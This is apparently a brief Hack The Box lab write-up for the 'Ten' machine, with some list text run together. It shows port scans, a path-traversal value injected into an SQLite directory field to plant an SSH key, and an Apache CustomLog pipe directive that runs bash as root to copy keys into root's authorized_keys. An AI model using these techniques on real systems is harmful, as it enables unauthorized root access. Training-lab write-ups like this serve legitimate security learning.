Platform: Hack The Box
IP Address: 10.129.234.158
Difficulty: Hard
“Ten” was a highly engaging challenge combining web hosting logic, virtual hosting exploitation, FTP traversal, and a clever use of Apache’s CustomLog pipe functionality to gain root access.
Initial access was gained through self-service web account creation and FTP access. Privilege escalation was achieved by leveraging control over Apache logging to inject and execute shell commands as root.
nmap -p- --min-rate 10000 10.129.234.158
nmap -p 21,22,80 -sCV -oN nmapscan 10.129.234.158
Ports Open:
inkedqt.ten.vl) with FTP credentialswebdb.ten.vldir entry in SQLite DB to gain write access outside sandbox"dir": "/srv/../home/tyrell/.ssh/./"
/home/tyrell/.ssh/authorized_keystyrell via SSHssh -i ~/.ssh/myremotekey tyrell@ten.vl
cat .user.txt
CustomLog used as shell injection vectorCustomLog "|/bin/bash -c 'cat /home/tyrell/.ssh/authorized_keys >> /root/.ssh/authorized_keys'" common
ssh -i ~/.ssh/myremotekey root@pwn1.ten.vl
cat /root/root.txt
CustomLog pipe injection is a powerful and underused root vectoretcdctl is a juicy target when exposed to users